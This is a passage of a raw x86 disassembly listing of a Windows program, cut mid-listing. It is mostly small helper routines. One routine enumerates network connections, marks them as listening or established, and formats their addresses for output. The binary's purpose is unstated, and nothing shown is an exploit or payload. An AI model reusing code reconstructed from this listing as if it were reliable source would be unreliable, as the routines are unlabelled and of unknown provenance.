		mov	eax, esi
		pop	esi
		retn	4
; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_418BE0	proc near		; CODE XREF: sub_401889j
		mov	dword ptr [ecx], offset	off_43F0AC
		add	ecx, 4
		jmp	sub_401023
sub_418BE0	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_418C00	proc near		; CODE XREF: sub_401438j

var_8		= byte ptr -8
var_4		= byte ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= byte ptr  0Ch

		sub	esp, 8
		lea	eax, [esp+8+arg_8]
		push	esi
		mov	esi, ecx
		push	eax
		lea	ecx, [esp+10h+arg_4]
		call	sub_40184D
		test	al, al
		jz	short loc_418C5A


loc_418C18:				; CODE XREF: sub_418C00+47j
		lea	ecx, [esp+0Ch+var_8]
		push	0
		push	ecx
		lea	ecx, [esp+14h+arg_4]
		call	sub_40116D
		mov	edx, [eax]
		lea	eax, [esp+0Ch+var_4]
		push	edx
		push	eax
		mov	ecx, esi
		call	sub_40123F
; ---------------------------------------------------------------------------
		lea	ecx, [esp+0Ch+arg_8]
		push	ecx
		lea	ecx, [esp+10h+arg_4]
		call	sub_40184D
		test	al, al
		jnz	short loc_418C18
		mov	eax, [esp+0Ch+arg_0]
		mov	edx, [esp+0Ch+arg_4]
		pop	esi
		mov	[eax], edx
		add	esp, 8
		retn	0Ch
; ---------------------------------------------------------------------------


loc_418C5A:				; CODE XREF: sub_418C00+16j
		mov	eax, [esp+0Ch+arg_0]
		mov	ecx, [esp+0Ch+arg_4]
		pop	esi
		mov	[eax], ecx
		add	esp, 8
		retn	0Ch
sub_418C00	endp

; ---------------------------------------------------------------------------
		db 5 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_418C90	proc near		; CODE XREF: sub_402103j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	1
		push	eax
		call	sub_401D6B
sub_418C90	endp

; ---------------------------------------------------------------------------
		retn	4
; ---------------------------------------------------------------------------
		db 90h
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_418CB0	proc near		; CODE XREF: sub_40155Aj

var_8		= byte ptr -8
var_4		= byte ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= byte ptr  0Ch

		sub	esp, 8
		lea	eax, [esp+8+arg_8]
		push	esi
		mov	esi, ecx
		push	eax
		lea	ecx, [esp+10h+arg_4]
		call	sub_401703
		test	al, al
		jz	short loc_418D0A


loc_418CC8:				; CODE XREF: sub_418CB0+47j
		lea	ecx, [esp+0Ch+var_8]
		push	0
		push	ecx
		lea	ecx, [esp+14h+arg_4]
		call	sub_4012A3
		mov	edx, [eax]
		lea	eax, [esp+0Ch+var_4]
		push	edx
		push	eax
		mov	ecx, esi
		call	sub_40216C
; ---------------------------------------------------------------------------
		lea	ecx, [esp+0Ch+arg_8]
		push	ecx
		lea	ecx, [esp+10h+arg_4]
		call	sub_401703
		test	al, al
		jnz	short loc_418CC8
		mov	eax, [esp+0Ch+arg_0]
		mov	edx, [esp+0Ch+arg_4]
		pop	esi
		mov	[eax], edx
		add	esp, 8
		retn	0Ch
; ---------------------------------------------------------------------------


loc_418D0A:				; CODE XREF: sub_418CB0+16j
		mov	eax, [esp+0Ch+arg_0]
		mov	ecx, [esp+0Ch+arg_4]
		pop	esi
		mov	[eax], ecx
		add	esp, 8
		retn	0Ch
sub_418CB0	endp

; ---------------------------------------------------------------------------
		db 5 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_418D40	proc near		; CODE XREF: sub_40139Dj

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		push	edi
		push	0Ch
		call	sub_401C67
sub_418D40	endp

; ---------------------------------------------------------------------------
		mov	edi, [esp+0Ch]
		mov	esi, eax
		test	edi, edi
		jnz	short loc_418D55
		mov	edi, esi


loc_418D55:				; CODE XREF: ___:00418D51j
		push	esi
		call	sub_4015DC
		mov	[eax], edi
		mov	edi, [esp+14h]
		add	esp, 4
		test	edi, edi
		jnz	short loc_418D6A
		mov	edi, esi


loc_418D6A:				; CODE XREF: ___:00418D66j
		push	esi
		call	sub_401B31
		add	esp, 4
		mov	[eax], edi
		mov	eax, esi
		pop	edi
		pop	esi
		retn	8
; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_418D90	proc near		; CODE XREF: sub_40207Cj

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	1
		push	eax
		call	sub_4013FC
sub_418D90	endp

; ---------------------------------------------------------------------------
		retn	4
; ---------------------------------------------------------------------------
		db 90h
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_418DB0	proc near		; CODE XREF: sub_4015DCj

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		retn
sub_418DB0	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_418DD0	proc near		; CODE XREF: sub_401172j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		add	eax, 8
		retn
sub_418DD0	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_418DF0	proc near		; CODE XREF: sub_401532j
		mov	eax, ecx
		retn
sub_418DF0	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_418E10	proc near		; CODE XREF: sub_401D98j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	esi
		mov	esi, ecx
		push	eax
		call	sub_4020FE
		mov	eax, esi
		pop	esi
		retn	4
sub_418E10	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_418E40	proc near		; CODE XREF: sub_40223Ej

arg_0		= dword	ptr  4

		mov	edx, [esp+arg_0]
		mov	eax, [ecx]
		push	esi
		xor	ecx, ecx
		mov	esi, [edx]
		cmp	eax, esi
		pop	esi
		setz	cl
		mov	al, cl
		retn	4
sub_418E40	endp

; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_418E70	proc near		; CODE XREF: sub_40123Fj

var_4		= byte ptr -4
arg_4		= byte ptr  8

		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	edi, ecx
		lea	eax, [esp+10h+var_4]
		push	0
		push	eax
		lea	ecx, [esp+18h+arg_4]
		call	sub_40116D
		mov	ecx, eax
		call	sub_401C9E
		mov	esi, eax
		push	esi
		call	sub_401A96
		push	esi
		mov	ebx, eax
		call	sub_401C6C
		mov	ecx, [eax]
		push	ecx
		call	sub_401A96
		mov	edx, [ebx]
		push	esi
		mov	[eax], edx
		call	sub_401C6C
		push	esi
		mov	ebx, eax
		call	sub_401A96
		mov	eax, [eax]
		push	eax
		call	sub_401C6C
		mov	ecx, [ebx]
		push	esi
		mov	[eax], ecx
		call	sub_401208
		add	esp, 1Ch
		mov	ecx, edi
		push	eax
		call	sub_40176C
		push	esi
		mov	ecx, edi
		call	sub_402103
sub_418E70	endp

; ---------------------------------------------------------------------------
		mov	eax, [edi+8]
		mov	edx, [esp+18h]
		dec	eax
		mov	[edi+8], eax
		mov	eax, [esp+14h]
		pop	edi
		pop	esi
		mov	[eax], edx
		pop	ebx
		pop	ecx
		retn	8
; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_418F30	proc near		; CODE XREF: sub_401D6Bj

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	eax
		call	sub_437AD2
sub_418F30	endp

; ---------------------------------------------------------------------------
		pop	ecx
		retn	8
; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_418F50	proc near		; CODE XREF: sub_40116Dj

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [ecx]
		call	sub_401F28
		mov	eax, [esp+4+arg_0]
		mov	[eax], esi
		pop	esi
		retn	8
sub_418F50	endp

; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_418F80	proc near		; CODE XREF: sub_40216Cj

var_4		= byte ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	edi, ecx
		lea	eax, [esp+10h+var_4]
		push	0
		push	eax
		lea	ecx, [esp+18h+arg_4]
		call	sub_4012A3
		mov	ecx, eax
		call	sub_401EEC
		mov	esi, eax
		push	esi
		call	sub_4015DC
		push	esi
		mov	ebx, eax
		call	sub_401B31
		mov	ecx, [eax]
		push	ecx
		call	sub_4015DC
		mov	edx, [ebx]
		push	esi
		mov	[eax], edx
		call	sub_401B31
		push	esi
		mov	ebx, eax
		call	sub_4015DC
		mov	eax, [eax]
		push	eax
		call	sub_401B31
		mov	ecx, [ebx]
		push	esi
		mov	[eax], ecx
		call	sub_401172
		add	esp, 1Ch
		mov	ecx, edi
		push	eax
		call	sub_4018D4
		push	esi
		mov	ecx, edi
		call	sub_40207C
sub_418F80	endp

; ---------------------------------------------------------------------------
		mov	eax, [edi+8]
		mov	edx, [esp+18h]
		dec	eax
		mov	[edi+8], eax
		mov	eax, [esp+14h]
		pop	edi
		pop	esi
		mov	[eax], edx
		pop	ebx
		pop	ecx
		retn	8
; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_419040	proc near		; CODE XREF: sub_401B31j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		add	eax, 4
		retn
sub_419040	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_419060	proc near		; CODE XREF: sub_401C67j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	0
		push	eax
		call	sub_401D2A
sub_419060	endp

; ---------------------------------------------------------------------------
		add	esp, 8
		retn	4
; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_419090	proc near		; CODE XREF: sub_4013FCj

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	eax
		call	sub_437AD2
sub_419090	endp

; ---------------------------------------------------------------------------
		pop	ecx
		retn	8
; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4190B0	proc near		; CODE XREF: sub_4020FEj

arg_0		= dword	ptr  4

		mov	eax, ecx
		mov	ecx, [esp+arg_0]
		mov	[eax], ecx
		retn	4
sub_4190B0	endp

; ---------------------------------------------------------------------------
		db 5 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4190D0	proc near		; CODE XREF: sub_4012A3j

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [ecx]
		call	sub_401361
		mov	eax, [esp+4+arg_0]
		mov	[eax], esi
		pop	esi
		retn	8
sub_4190D0	endp

; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_419100	proc near		; CODE XREF: sub_40176Cj

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	eax
		call	j_nullsub_8
		pop	ecx
		retn	4
sub_419100	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_419120	proc near		; CODE XREF: sub_4018D4j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	eax
		call	j_nullsub_4
		pop	ecx
		retn	4
sub_419120	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_419140	proc near		; CODE XREF: sub_401EECj
		mov	eax, [ecx]
		retn
sub_419140	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_8. PRESS KEYPAD "+" TO EXPAND]
		db 0Fh dup(90h)
		db 10h dup(0CCh)
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_4. PRESS KEYPAD "+" TO EXPAND]
		db 0Fh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_4191A0	proc near		; CODE XREF: sub_402121j

var_14		= dword	ptr -14h
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_4191A0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 8
		push	esi
		mov	esi, ecx
		mov	[esp+18h+var_14], esi
		call	sub_4011B3
		lea	ecx, [esi+4]
		call	sub_401753
		push	9
		mov	[esp+1Ch+var_4], 0
		mov	dword ptr [esi], offset	off_43F0AC
		call	sub_437AEA
sub_4191A0	endp

; ---------------------------------------------------------------------------
		add	esp, 4
		mov	[esp+8], eax
		test	eax, eax
		mov	byte ptr [esp+14h], 1
		jz	short loc_41920D
		mov	ecx, eax
		call	sub_401F2D
; ---------------------------------------------------------------------------
		mov	[esi+32h], eax
		mov	eax, esi
		pop	esi
		mov	ecx, [esp+8]
		mov	large fs:0, ecx
		add	esp, 14h
		retn
; ---------------------------------------------------------------------------


loc_41920D:				; CODE XREF: ___:004191EFj
		mov	ecx, [esp+0Ch]
		xor	eax, eax
		mov	[esi+32h], eax
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 14h
		retn
; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_419260	proc near		; CODE XREF: sub_401974j

var_24		= byte ptr -24h
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_419260
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 18h
		push	esi
		push	0
		push	14h
		push	1
		push	14h
		push	13h
		push	14h
		push	5
		lea	eax, [esp+44h+var_24]
		push	0Eh
		mov	esi, ecx
		push	eax
		call	sub_4019C4
		add	esp, 24h
		push	esi
		mov	ecx, eax
		mov	[esp+2Ch+var_4], 0
		call	sub_40168B
		add	esi, 4
		push	eax
		push	esi
		mov	ecx, offset dword_449118
		call	sub_40159B
sub_419260	endp

; ---------------------------------------------------------------------------
		lea	ecx, [esp+4]
		mov	dword ptr [esp+24h], 0FFFFFFFFh
		call	sub_401226
		mov	ecx, [esp+1Ch]
		pop	esi
		mov	large fs:0, ecx
		add	esp, 24h
		retn
; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_419300	proc near		; CODE XREF: sub_40111Dj

var_2A4		= dword	ptr -2A4h
var_2A0		= dword	ptr -2A0h
var_29C		= dword	ptr -29Ch
var_298		= dword	ptr -298h
var_294		= dword	ptr -294h
var_290		= dword	ptr -290h
var_28C		= byte ptr -28Ch
var_274		= byte ptr -274h
var_25C		= byte ptr -25Ch
var_23C		= byte ptr -23Ch
var_224		= byte ptr -224h
var_199		= byte ptr -199h
var_198		= byte ptr -198h
var_119		= byte ptr -119h
var_118		= byte ptr -118h
var_99		= byte ptr -99h
var_98		= byte ptr -98h
var_D		= byte ptr -0Dh
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  4

		push	0FFFFFFFFh
		push	offset SEH_419300
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 298h
		push	ebx
		mov	ebx, ecx
		push	esi
		mov	[esp+2ACh+var_2A4], ebx
		lea	ecx, [ebx+4]
		call	sub_4017EE
		mov	esi, [esp+2ACh+arg_0]
		push	eax
		lea	ecx, [esi+7Eh]
		call	sub_4012EE
		test	eax, eax
		jnz	loc_4196B8
		push	ebp
		push	edi
		mov	edi, 1
		push	offset asc_444600 ; " "
		lea	eax, [esp+2B8h+var_23C]
		push	edi
		push	eax
		mov	ecx, esi
		call	sub_4016B8
		xor	ebp, ebp
		mov	ecx, eax
		mov	[esp+2B4h+var_4], ebp
		call	sub_40168B
		push	eax
		nop
		call	near ptr 77C1BF18h
		add	esp, 4
		lea	ecx, [esp+2B4h+var_23C]
		mov	[ebx+36h], eax
		mov	[esp+2B4h+var_4], 0FFFFFFFFh
		call	sub_401226
		mov	ecx, esi
		call	sub_4017EE
		push	eax
		lea	ecx, [esp+2B8h+var_274]
		call	sub_401870
		push	offset dword_444D68
		lea	ecx, [esp+2B8h+var_274]
		mov	[esp+2B8h+var_4], edi
		mov	[esp+2B8h+var_2A0], ebp
		call	sub_4013ED
		test	eax, eax
		jz	short loc_4193C5
		mov	[esp+2B4h+var_2A0], 2
		jmp	short loc_4193DB
; ---------------------------------------------------------------------------


loc_4193C5:				; CODE XREF: sub_419300+B9j
		push	offset dword_444D64
		lea	ecx, [esp+2B8h+var_274]
		call	sub_4013ED
		test	eax, eax
		jz	short loc_4193DB
		mov	[esp+2B4h+var_2A0], edi


loc_4193DB:				; CODE XREF: sub_419300+C3j
					; sub_419300+D5j
		mov	ecx, [ebx+32h]
		mov	edi, offset dword_444D58
		xor	eax, eax
		mov	edx, [ecx]
		or	ecx, 0FFFFFFFFh
		add	edx, 2
		repne scasb
		not	ecx
		sub	edi, ecx
		mov	eax, ecx
		mov	esi, edi
		mov	edi, edx
		shr	ecx, 2
		rep movsd
		mov	ecx, eax
		and	ecx, 3
		rep movsb
		mov	ecx, [ebx+32h]
		mov	edx, [ecx]
		mov	byte ptr [edx],	1
		mov	eax, [ebx+32h]
		mov	[esp+2B4h+var_119], 0
		mov	[esp+2B4h+var_99], 0
		mov	[esp+2B4h+var_D], 0
		mov	[esp+2B4h+var_199], 0
		mov	eax, [eax]
		cmp	byte ptr [eax],	0
		jnz	short loc_41946A
		mov	esi, dword_511AA8
		add	eax, 2
		push	offset dword_444D58
		push	eax
		call	esi
		add	esp, 8
		test	eax, eax
		jz	short loc_41946A
		mov	ecx, [ebx+32h]
		push	offset off_444D54
		mov	edx, [ecx]
		add	edx, 2
		push	edx
		call	esi
		add	esp, 8
		test	eax, eax
		jnz	loc_41969E


loc_41946A:				; CODE XREF: sub_419300+135j
					; sub_419300+14Dj
		push	0C00h
		mov	[esp+2B8h+var_294], 0C00h
		nop
		call	near ptr 77C2C407h
		add	esp, 4
		mov	esi, eax
		lea	eax, [esp+2B4h+var_294]
		mov	[esp+2B4h+var_29C], esi
		push	1
		push	eax
		push	esi
		mov	[esi], ebp
		call	sub_437F50
; ---------------------------------------------------------------------------
		mov	eax, [esi]
		mov	[esp+2B4h+var_298], ebp
		cmp	eax, ebp
		jle	loc_419694
		lea	ebp, [esi+14h]


loc_4194A6:				; CODE XREF: sub_419300+38Ej
		cmp	dword ptr [ebp-10h], 2
		jnz	short loc_4194BA
		mov	ecx, [ebx+32h]
		mov	edx, [ecx]
		cmp	byte ptr [edx],	0
		jz	loc_41967E


loc_4194BA:				; CODE XREF: sub_419300+1AAj
		mov	ax, [ebp-8]
		mov	esi, dword_511C5C
		push	eax
		call	esi
		mov	cx, [ebp+0]
		mov	[esp+2B4h+var_290], eax
		push	ecx
		call	esi
		mov	esi, [esp+2B4h+var_2A4]
		mov	ebx, eax
		mov	eax, [ebp-0Ch]
		push	1
		lea	edx, [esp+2B8h+var_198]
		push	7Fh
		push	edx
		push	eax
		mov	ecx, esi
		call	sub_40147E
		mov	edx, [ebp-4]
		push	0
		lea	ecx, [esp+2B8h+var_118]
		push	7Fh
		push	ecx
		push	edx
		mov	ecx, esi
		call	sub_40147E
		mov	eax, [ebp-10h]
		sub	eax, 2
		jz	short loc_41951E
		sub	eax, 3
		jnz	short loc_419544
		lea	edx, [esp+2B4h+var_25C]
		mov	edi, offset aEstablished ; "established"
		jmp	short loc_419527
; ---------------------------------------------------------------------------


loc_41951E:				; CODE XREF: sub_419300+20Cj
		lea	edx, [esp+2B4h+var_25C]
		mov	edi, offset aListening ; "listening"


loc_419527:				; CODE XREF: sub_419300+21Cj
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		repne scasb
		not	ecx
		sub	edi, ecx
		mov	eax, ecx
		mov	esi, edi
		mov	edi, edx
		shr	ecx, 2
		rep movsd
		mov	ecx, eax
		and	ecx, 3
		rep movsb


loc_419544:				; CODE XREF: sub_419300+211j
		mov	ecx, 23h
		xor	eax, eax
		lea	edi, [esp+2B4h+var_98]
		rep stosd
		mov	ecx, 23h
		lea	edi, [esp+2B4h+var_224]
		rep stosd
		cmp	dword ptr [ebp-10h], 2
		jnz	short loc_41956A
		xor	ebx, ebx


loc_41956A:				; CODE XREF: sub_419300+266j
		mov	esi, [esp+2B4h+var_290]
		lea	ecx, [esp+2B4h+var_198]
		and	esi, 0FFFFh
		lea	edx, [esp+2B4h+var_98]
		push	esi
		push	ecx
		push	offset aSD_1	; "%s:%d"
		push	8Bh
		push	edx
		call	near ptr 77C3FA76h
		nop
		mov	edi, ebx
		lea	eax, [esp+2C8h+var_118]
		and	edi, 0FFFFh
		lea	ecx, [esp+2C8h+var_224]
		push	edi
		push	eax
		push	offset aSD_1	; "%s:%d"
		push	8Bh
		push	ecx
		call	near ptr 77C3FA76h
		nop
		add	esp, 28h
		lea	ecx, [esp+2B4h+var_28C]
		call	sub_40142E
		mov	eax, [esp+2B4h+var_2A0]
		mov	byte ptr [esp+2B4h+var_4], 2
		test	bx, bx
		jnz	short loc_419600
		cmp	eax, 1
		jz	loc_419665
		mov	edx, [esp+2B4h+var_2A4]
		mov	eax, [edx+36h]
		test	eax, eax
		jz	short loc_4195F3
		cmp	eax, esi
		jnz	short loc_419665


loc_4195F3:				; CODE XREF: sub_419300+2EDj
		lea	eax, [esp+2B4h+var_25C]
		push	esi
		push	eax
		push	offset aSD_0	; "%s: %d"
		jmp	short loc_419626
; ---------------------------------------------------------------------------


loc_419600:				; CODE XREF: sub_419300+2D9j
		cmp	eax, 2
		jz	short loc_419665
		mov	ecx, [esp+2B4h+var_2A4]
		mov	eax, [ecx+36h]
		test	eax, eax
		jz	short loc_419614
		cmp	eax, edi
		jnz	short loc_419665


loc_419614:				; CODE XREF: sub_419300+30Ej
		lea	edx, [esp+2B4h+var_224]
		lea	eax, [esp+2B4h+var_25C]
		push	edx
		push	eax
		push	offset aSS_6	; "%s: %s"


loc_419626:				; CODE XREF: sub_419300+2FEj
		lea	ecx, [esp+2C0h+var_28C]
		push	ecx
		call	sub_40102D
		mov	esi, [esp+2C4h+arg_0]
		add	esp, 10h
		lea	ecx, [esi+69h]
		call	sub_4014DD
		push	eax
		lea	ecx, [esp+2B8h+var_28C]
		call	sub_4014DD
		mov	dl, [esi+94h]
		push	eax
		mov	al, [esi+93h]
		push	edx
		push	eax
		mov	ecx, offset byte_4D8075
		call	sub_401118


loc_419665:				; CODE XREF: sub_419300+2DEj
					; sub_419300+2F1j ...
		lea	ecx, [esp+2B4h+var_28C]
		mov	byte ptr [esp+2B4h+var_4], 1
		call	sub_401226
		mov	esi, [esp+2B4h+var_29C]
		mov	ebx, [esp+2B4h+var_2A4]


loc_41967E:				; CODE XREF: sub_419300+1B4j
		mov	eax, [esp+2B4h+var_298]
		mov	ecx, [esi]
		inc	eax
		add	ebp, 14h
		cmp	eax, ecx
		mov	[esp+2B4h+var_298], eax
		jl	loc_4194A6


loc_419694:				; CODE XREF: sub_419300+19Dj
		push	esi
		call	near ptr 77C2C21Bh
		nop
		add	esp, 4


loc_41969E:				; CODE XREF: sub_419300+164j
		lea	ecx, [esp+2B4h+var_274]
		mov	[esp+2B4h+var_4], 0FFFFFFFFh
		call	sub_401226
		pop	edi
		mov	al, 1
		pop	ebp
		jmp	short loc_4196BA
; ---------------------------------------------------------------------------


loc_4196B8:				; CODE XREF: sub_419300+3Dj
		mov	al, 1


loc_4196BA:				; CODE XREF: sub_419300+3B6j
		mov	ecx, [esp+2ACh+var_C]
		pop	esi
		pop	ebx
		mov	large fs:0, ecx
		add	esp, 2A4h
		retn	4
sub_419300	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 100h	dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4197E0	proc near		; CODE XREF: sub_40147Ej

var_20		= byte ptr -20h
arg_0		= byte ptr  4
arg_3		= dword	ptr  7
arg_8		= dword	ptr  0Ch
arg_C		= byte ptr  10h

		mov	eax, [esp+arg_3]
		sub	esp, 20h
		mov	edx, [esp+25h]
		and	eax, 0FFh
		push	ebx
		push	ebp
		push	esi
		mov	esi, ecx
		mov	ecx, [esp+32h]
		mov	ebx, [esp+2Ch+arg_8]
		mov	ebp, [esp+2Ch+arg_3+1]
		push	eax
		mov	eax, [esp+34h]
		and	ecx, 0FFh
		and	edx, 0FFh
		push	ecx
		and	eax, 0FFh
		push	edx
		push	eax
		push	offset aD_D_D_D	; "%d.%d.%d.%d"
		push	ebx
		push	ebp
		call	near ptr 77C3FA76h
		nop
		mov	ecx, [esi+32h]
		add	esp, 1Ch
		mov	al, [ecx+4]
		test	al, al
		jnz	short loc_4198A0
		mov	al, [esp+2Ch+arg_C]
		test	al, al
		jnz	short loc_41986E
		mov	eax, [esp+30h]
		test	eax, eax
		jz	short loc_41986E
		push	2
		lea	edx, [esp+30h+arg_0]
		push	4
		push	edx
		call	near ptr 71ABE479h
		nop
		test	eax, eax
		jz	short loc_4198A0
		mov	eax, [eax]
		push	ebx
		push	eax
		push	ebp
		nop
		call	near ptr 77C47A90h
		add	esp, 0Ch
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 20h
		retn	10h
; ---------------------------------------------------------------------------


loc_41986E:				; CODE XREF: sub_4197E0+5Aj
					; sub_4197E0+62j
		push	edi
		mov	ecx, 7
		xor	eax, eax
		lea	edi, [esp+30h+var_20]
		rep stosd
		lea	ecx, [esp+30h+var_20]
		push	1Dh
		push	ecx
		stosw
		nop
		call	near ptr 71AB50C8h
		test	eax, eax
		pop	edi
		jnz	short loc_4198A0
		lea	edx, [esp+2Ch+var_20]
		push	ebx
		push	edx
		push	ebp
		nop
		call	near ptr 77C47A90h
		add	esp, 0Ch


loc_4198A0:				; CODE XREF: sub_4197E0+52j
					; sub_4197E0+75j ...
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 20h
		retn	10h
sub_4197E0	endp

; ---------------------------------------------------------------------------
		db 7 dup(90h)
		db 40h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_4198F0	proc near		; CODE XREF: sub_401F2Dj
		push	0FFFFFFFFh
		push	offset SEH_4198F0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		push	14h
		call	sub_437AEA
sub_4198F0	endp

; ---------------------------------------------------------------------------
		add	esp, 4
		mov	[esp+4], eax
		test	eax, eax
		mov	dword ptr [esp+10h], 0
		jz	short loc_41993E
		mov	ecx, eax
		call	sub_4015C3
		mov	[esi], eax
		mov	eax, esi
		pop	esi
		mov	ecx, [esp+4]
		mov	large fs:0, ecx
		add	esp, 10h
		retn
; ---------------------------------------------------------------------------


loc_41993E:				; CODE XREF: ___:00419921j
		mov	ecx, [esp+8]
		xor	eax, eax
		mov	[esi], eax
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_419980	proc near		; CODE XREF: sub_4015C3j
		mov	eax, ecx
		retn
sub_419980	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4199A0	proc near		; CODE XREF: sub_401F0Aj
		nop
		call	near ptr 27E0DC8h
		push	eax
		nop
		call	near ptr 77C371BCh
		pop	ecx
		retn
sub_4199A0	endp

; ---------------------------------------------------------------------------
		db 90h
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_4199C0	proc near		; CODE XREF: sub_4021C6j

var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	ecx
		push	esi
		nop
		call	near ptr 77C371D3h
		mov	esi, [esp+8+arg_0]
		mov	[esp+8+var_4], eax
		mov	eax, [esp+8+arg_4]
		fild	[esp+8+var_4]
		sub	eax, esi
		mov	[esp+8+arg_4], eax
		fimul	[esp+8+arg_4]
		fmul	dbl_43F0B0
		call	sub_437BDA
sub_4199C0	endp

; ---------------------------------------------------------------------------
		sub	esi, eax
		mov	eax, esi
		pop	esi
		pop	ecx
		retn
; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_419A10:				; CODE XREF: ___:00401C99j
		nop
		call	near ptr 77C371D3h
		cdq
		idiv	dword ptr [esp+4]
		mov	eax, edx
		retn
; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------

locret_419A30:				; CODE XREF: ___:00401528j
